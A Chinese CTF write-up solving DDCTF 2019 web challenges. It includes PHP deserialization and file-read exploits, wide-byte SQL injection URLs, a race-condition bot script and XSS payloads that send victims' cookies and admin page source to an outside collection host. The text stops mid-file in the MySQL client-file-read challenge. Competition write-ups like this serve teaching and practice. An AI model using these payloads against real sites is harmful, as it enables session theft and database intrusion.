这次比赛似乎是滴滴拿来招人的,不过里面的题目涉及到的点蛮多,个人觉得比之前的西湖论剑的题更有味道, 就来写写 Write Up 了。

除了最后一道题个人不会之外,其他的题都写出来了。这比赛真的是拼手速和熟练程度。

开始吧~

一、滴~

题目说明

靶机:http://117.51.150.246

知识点:任意文件读取,脑洞

步骤:

1、打开靶机,发现是一个这种页面。


2、观察地址,发现里面有一串 base64,尝试解码。发现还有一层,要解码两次。

第一次解码
第二次解码

3、发现是一串 hex 字串,那么就继续解码看看。

4、发现是 flag.jpg。

5、那么我们构造一个 index.php 进去又如何呢,这里我写了一个 Python 脚本,方便逆向回去。

import base64
import requests

s = 'index.php'

jpg = base64.b64encode(base64.b64encode("".join("{:02x}".format(ord(c)) for c in s).encode('utf-8'))).decode('utf-8')

r = requests.get('http://117.51.150.246/index.php', params={'jpg': jpg})

print(r.url)
print(r.text)

6、运行看看,结果里有一串 base64,解码看看。

7、解码之后结果如下,看起来是 index.php 的源码。

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

8、可以看到我们可以任意读取文件,但有过滤,限制了只能为数字和字母,且 config 会被转换为感叹号。多番尝试无法绕过。

9、到 index.php 开头注释里的博客看看,没啥端倪。

10、那么到博客里的其他文章转转。发现有这么一篇,进去看看。

11、发现有这么个文件名。

12、访问看看?出来了!

13、但如果要读取这个文件,直接读取的话感叹号会被过滤。想输入感叹号得用上前面的规则,也就是 config 被替换为感叹号。


14、发现这个文件源码如下。

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

15、有变量覆盖,那么就让 uid 和 k 这个变量里的 URL所指向的内容一致 就行了,这里我偷懒直接在我自己的服务器上传了个文件。

16、然后访问 /f1ag!ddctf.php?uid=a&k=http://xss.zhaoj.in/1.txt。

17、Flag 到手~

二、WEB 签到题

题目说明

靶机:http://117.51.158.44/index.php

知识点:PHP 源码审计,文本格式化,反序列化

步骤:

1、打开靶机,发现是这个页面。

2、查看一下页面源代码,发现 js/index.js 有点意思,说明它请求了 /app/Auth.php 这个地址。还带上了 didictf_username 这个头。

/**
 * Created by PhpStorm.
 * User: didi
 * Date: 2019/1/13
 * Time: 9:05 PM
 */

function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

3、那么我们就带上 didictf_username = admin 这个头访问这个地址试试。

4、访问 app/fL2XID2i0Cdh.php,获得两个文件源码。

5、先带 Header 访问一下 /app/Session.php,获取到 ddctf_id 这个 Cookie。

6、审计源码,发现我们先获取 eancrykey 试试比较合适。 nickname 传 %s,第二次 format 的时候就会把 eancrykey 给格式化上了。

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

7、然后构造 POST 请求。记住带上 Header。然后就可以获取到 eancrykey 了。

8、然后继续审计源码,发现有对输入反序列化。

unserialize($session);

9、再来看看刚才拿到的 ctf_id,发现里面是序列化后的结果。这个就是 Session 对象了。

10、再来看 Application 对象的源码,里面的析构方法会在对象销毁时检查 path 这个成员变量,长度为 18 就会读取 path 所指向的那个文件。又根据下面的源码推测 flag 在 ../config/flag.txt。

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

11、那么我们就把它的源码拷下来,用它的源码和 eancrykey 给自己序列化之后的对象签名了。同时注意 path 这个变量,由于对 ../ 有过滤,path 我们得写成 …/./config/flag.txt 来绕过过滤。

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/4/12
 * Time: 1:06 PM
 */


Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }

    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            echo "\n".strlen($path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
}

class Session extends Application {
    var $path = '..././config/flag.txt';

    //key建议为8位字符串
    var $eancrykey                  = 'EzblrbNS';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";
    var $session_id  = 'e989f2486e618ad5fa6d5e732acaa589';
    var $ip_address =  '116.136.20.161';
    var $user_agent = '';
    var $user_data = '';


    public function index()
    {
        if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
            return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    public function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = $this;

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );

        return $cookiedata;

    }
}

$ddctf = new Session();
echo $ddctf->session_create();

12、运行这个脚本,得到序列化之后的对象。

13、放到 UrlEncode Encode 一下。

14、置 Cookie,请求。

15、Flag 到手~

三、Upload-IMG (130分)

题目说明

靶机:http://117.51.148.166/upload.php

知识点:PHP-GD 二次渲染绕过

步骤:

1、用上面给出的用户名密码打开靶机,发现是这么一个页面。

2、那么就传一个图片上去试试吧。


3、上传之后,发现提示 “[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()”,并且还返回了上传之后图片的地址。

4、那么我们就把我们上传之后的图片下载回来看看吧。下载之后用 hex 编辑器打开。发现开头这儿指明了其是 php-gd 带着 libjpeg 转换的。

5、比较一下原图片和现在的图片,似乎有很多不同。

6、那么我们把下载下来的图片再传回去呢?





7、啊哈,这一把前面倒是蛮多相同的地方了。

8、那么我们就往里面相同的部分替换 “phpinfo()” (9字节)试试。



9、不断 fuzz 插入的位置,发现插入这里可以。

示例图片:

10、Flag 到手~

四、homebrew event loop(160分)

题目说明

靶机:http://116.85.48.107:5002/d5af31f66147e857/

知识点:源码审计,参数过滤绕过,任意命令执行

步骤:

1、打开靶机,发现是这样的一个页面。

2、打开第一个链接,可以查看这个页面的源码。那么就先来审计一下源码。


# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66147e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

3、大概的流程是这样

访问–>获取参数–>trigger_event 执行–>返回

4、那么仔细阅读源码,发现 execute_event_loop 这个方法里有个 eval。

event_handler = eval(action + ('_handler' if is_action else '_function')) 

5、那么我们就来传个 # 在地址里试试,但注意,我们要传 %23,这样才不会被浏览器过滤。


6、这样看可能不清楚,我们本地开个服务器看看,同时把下面这一行注释去掉。

#resp += str(e) # only for debugging 

7、看,成功截断了。


8、那么我们继续来分析,发现参数会被转换为 list。

args = get_mid_str(event, action+';').split('#') 
event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)

9、Python 调用的时候传入的参数个数不能大于方法能接受的参数的个数,这里那么来看看有哪些方法可以接受 list 作为参数。除了下面的一堆 handler 和 function 之外,还有上面的 trigger_event。

同时,buy_handler 和 consume_point_function 分别代表购买和扣点,两者并不是原子的。同时 get_flag_handler 这里说明当线程里的钻石大于 5 个时就会带着 FLAG() 方法去触发 show_flag。

同时,在 session 里有 log,记录最近的五个 log,而且出错时不会被回滚。

10、那么我们就从 trigger_event 入手吧。当然,在此之前我们先正常的买三个钻石。

11、然后访问 /d5af31f66147e857/?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1

这里就是利用 trigger_event 这个方法,依次执行 buy_handler 两次,然后 get_flag_handler。由于 buy 和 consume 不具有原子性,我们可以利用这个特性在钻石数达到 5 的时候调用一下 get_flag_handler,触发 log 来获取一下 Flag。


12、然后用 Flask-Unsign 解码 Cookie 看看。

工具:https://github.com/Paradoxis/Flask-Unsign

13、注意 func:show_flag;3v41**** ,这里就是 flag 了~

14、Flag 到手~

五、欢迎报名DDCTF(200分)

题目说明
17号下午给出提示之后的题目说明

靶机:http://117.51.147.2/Ze02pQYLf5gGNyMn/

知识点:XSS,WAF 绕过,SQL 宽注入

步骤:

1、首先打开靶机看看,是个报名页面。

2、看到这种页面,我们就手痒想提交点东西上去,先提交个图片试试水吧。

<img src='http://xss.zhaoj.in'/>

3、然后我们到XSS 平台上面看看,收到了一大堆请求。

4、主要有两种请求,一个个看吧。第一个是靶机发出来的,似乎暂时用不到,放着。

5、第二个就有意思了,是个 hint。

6、那我们就打开这里面提到的链接看看吧。


7、把后面的 hint.php 去掉,看看是啥。

8、这玩意儿怎么那么熟悉呢,那就直接打 XSS 吧。

9、不断 fuzz,然后发现如下的 payload 能打上去。这里用到的 payload 是 eval,由于这玩意儿有”waf“,里面的所有东西和外面的括号都得转个码,那就用 HTML Markup 来转吧。

HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html

写了个 Python 小脚本来生成 payload:

in_str = "(function(){(new Image()).src='http://xss.zhaoj.in/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

这样得到的 payload 就如下:

<svg><script>eval&#40&#34&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#40&#110&#101&#119&#32&#73&#109&#97&#103&#101&#40&#41&#41&#46&#115&#114&#99&#61&#39&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#122&#104&#97&#111&#106&#46&#105&#110&#47&#63&#107&#101&#101&#112&#115&#101&#115&#115&#105&#111&#110&#61&#49&#38&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#116&#111&#112&#108&#111&#99&#97&#116&#105&#111&#110&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#116&#111&#112&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#99&#111&#111&#107&#105&#101&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#32&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#43&#39&#38&#111&#112&#101&#110&#101&#114&#61&#39&#43&#101&#115&#99&#97&#112&#101&#40&#40&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#116&#114&#121&#123&#114&#101&#116&#117&#114&#110&#40&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#38&#38&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#41&#63&#119&#105&#110&#100&#111&#119&#46&#111&#112&#101&#110&#101&#114&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#58&#39&#39&#125&#99&#97&#116&#99&#104&#40&#101&#41&#123&#114&#101&#116&#117&#114&#110&#39&#39&#125&#125&#41&#40&#41&#41&#59&#125&#41&#40&#41&#59&#34&#41</script>

10、打上去,发现可以正常执行。

11、然后我们再反馈给这个站点的管理员试试。


12、然后祭出我们的祖传 Python 脚本来算这种验证码。

import string, hashlib

a = string.digits + string.lowercase + string.uppercase
for i in a:
    for j in a:
        for k in a:
            for m in a:
                s = hashlib.md5(i + j + k + m).hexdigest()[0:6]
                if s == "373fa1":
                    print(i + j + k + m)
                    break

13、然后提交上去,收 XSS 看看。

14、这里我懒得等了,直接拿之前收到的来了,看起来是达到效果了。不过这 Flag 没啥用,假 Flag。

15、再回到报名平台,用这个 payload 去打下这个报名平台吧。

16、收到的 XSS 似乎和之前差不多。

17、那我们再来上个读取页面源码的 payload 如下,当然也得转码。

xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');
in_str = "xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?'+escape(xmlhttp.responseText);}};xmlhttp.open('GET','/Ze02pQYLf5gGNyMn/admin.php',true);xmlhttp.send('');"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")
<svg><script>eval&#40&#34&#120&#109&#108&#104&#116&#116&#112&#61&#110&#101&#119&#32&#88&#77&#76&#72&#116&#116&#112&#82&#101&#113&#117&#101&#115&#116&#40&#41&#59&#120&#109&#108&#104&#116&#116&#112&#46&#111&#110&#114&#101&#97&#100&#121&#115&#116&#97&#116&#101&#99&#104&#97&#110&#103&#101&#61&#102&#117&#110&#99&#116&#105&#111&#110&#40&#41&#123&#105&#102&#40&#120&#109&#108&#104&#116&#116&#112&#46&#114&#101&#97&#100&#121&#83&#116&#97&#116&#101&#61&#61&#52&#41&#123&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#61&#39&#104&#116&#116&#112&#58&#47&#47&#120&#115&#115&#46&#122&#104&#97&#111&#106&#46&#105&#110&#47&#63&#39&#43&#101&#115&#99&#97&#112&#101&#40&#120&#109&#108&#104&#116&#116&#112&#46&#114&#101&#115&#112&#111&#110&#115&#101&#84&#101&#120&#116&#41&#59&#125&#125&#59&#120&#109&#108&#104&#116&#116&#112&#46&#111&#112&#101&#110&#40&#39&#71&#69&#84&#39&#44&#39&#47&#90&#101&#48&#50&#112&#81&#89&#76&#102&#53&#103&#71&#78&#121&#77&#110&#47&#97&#100&#109&#105&#110&#46&#112&#104&#112&#39&#44&#116&#114&#117&#101&#41&#59&#120&#109&#108&#104&#116&#116&#112&#46&#115&#101&#110&#100&#40&#39&#39&#41&#59&#34&#41</script>

18、打上去。

19、收 XSS,解个码看看。

<!DOCTYPE_html> <html_lang="en"> <head> <meta_charset="UTF-8"> <!--每隔30秒自动刷新--> <meta_http-equiv="refresh"_content="30"> <title>DDCTF报名列表</title> </head> <body> <table__align="center"_> <thead> <tr> <th>姓名</th> <th>昵称</th> <th>备注</th> <th>时间</th> </tr> </thead> <tbody> <!--_列表循环展示_--> <tr> <td> <a_target="_blank"__href="index_php">报名</a> </td> </tr> <!--_<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh_php">_接口_</a>--> </tbody> </table> </body> </html>

20、里面有个被注释起来的“接口”链接特别有意思,我们还原其地址为 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php。访问,提示需要参数 id。

21、那么就传个 id 上去试试,不报上面的错了,但似乎还是不行。

22、推测此处有注入点,不断 fuzz。发现用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,2,3,4,5%23 能返回数据。有宽字节注入了。

23、然后用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(schema_name),3,4,5%20from%20information_schema.schemata%23 就可以得到数据库列表。

24、再来用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(table_name),3,4,5%20from%20information_schema.tables%20where%20table_schema=0x6374666462%23 进 ctfdb 这个数据库看看有啥表。这里我们用 hex 字串来书写字符串,0x6374666462 就是 ctfdb。

25、再来用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_schema=0x6374666462%20and%20table_name=0x6374665f66686d4852504c35%23 来看看 ctfdb 库里的 ctf_fhmHRPL5 表有啥列。

26、那我们就用 /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,group_concat(ctf_value),3,4,5%20from%20ctfdb.ctf_fhmHRPL5%23 来读取一下这一列的内容吧。

27、Flag 到手~

六、大吉大利,今晚吃鸡~(210分)

题目说明

靶机:http://117.51.147.155:5050/index.html#/login

知识点:整数溢出,暴力破解/人品

步骤:

1、打开靶机,发现是如下的一个页面。

2、注册看看吧。


3、注册成功之后就可以进入了,发现得先购买入场券。那就买一个试试,顺带抓抓包。发现其在购买时传了价格作为参数。

4、多次尝试,发现其只能传数字。fuzz 一下,发现其在 2^32 = 4294967296 时会有溢出,造成无需余额支付就可以购买并成功交易。

5、那么就来写个 Python 脚本开一堆小号重复上面这个过程了,16 线程走起。

import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

main_session = requests.session()

main_session.get("http://38.106.21.229:5000/ctf/api/login?name=glzjinmiaomiao&password=miaomiao")

mutex = threading.Lock()


def remove_bot(id, ticket):
    global main_session

    print(main_session.get("http://38.106.21.229:5000/ctf/api/get_flag").json())

    print(main_session.get("http://38.106.21.229:5000/ctf/api/remove_robot?id=" + str(id) + "&ticket=" + str(ticket)).json())


def create_bot(index=1):
    s = requests.Session()

    s.get('http://38.106.21.229:5000/ctf/api/register?name=glzjinb4ot' + str(index) + '&password=12345678')

    r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')

    r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])

    return r.json()['data'][0]['your_id'], r.json()['data'][0]['your_ticket']


def create_and_remove(index=1):
    info = create_bot(index)
    remove_bot(info[0], info[1])


pool = ThreadPoolExecutor(max_workers=32)

for i in range(1, 10000):
    pool.submit(create_and_remove, i)

pool.shutdown(True)

6、跑呀跑,终于出来了。

7、Flag 到手~

七、mysql弱口令(260分)

题目说明

靶机:http://117.51.147.155:5000/index.html#/scan

知识点:MySQL 客户端文件读取,敏感文件分析

步骤:

1、打开靶机看看,发现这是一个扫描器。

2、然后我们就按照他的要求把 agent.py 部署到自己的公网服务器上吧,注意这台服务器上有 Mysql。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

3、然后扫一下看看,发现提示未扫描到弱口令。

4、在服务器上 tcpdump 抓个包看看,发现是没密码登录。

5、那么我们就在服务器的 MySQL 开个没密码的账户。

CREATE USER 'root'@'117.51.147.155' IDENTIFIED BY '';

grant all privileges on *.* to 'root'@'117.51.147.155' IDENTIFIED BY '' with grant option;

6、再扫描,抓个包看看,发现没什么端倪。页面上返回的东西也没啥用。

7、然后多方搜索,发现 MySQL 的客户端如果开了 local infile 的话就服务器发送特定的命令就可以读取到客户端的文件。

参考资料:http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

8、那么就来自己整个恶意服务器来读这扫描器的文件吧。

9、首先把服务器上的 MySQL 关了。

systemctl stop mysqld

10、然后修改一下 agent.py,让扫描器以为我们一直开着 MySQL.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    :
# @File    : agent.py
# @Software: PyCharm

import json
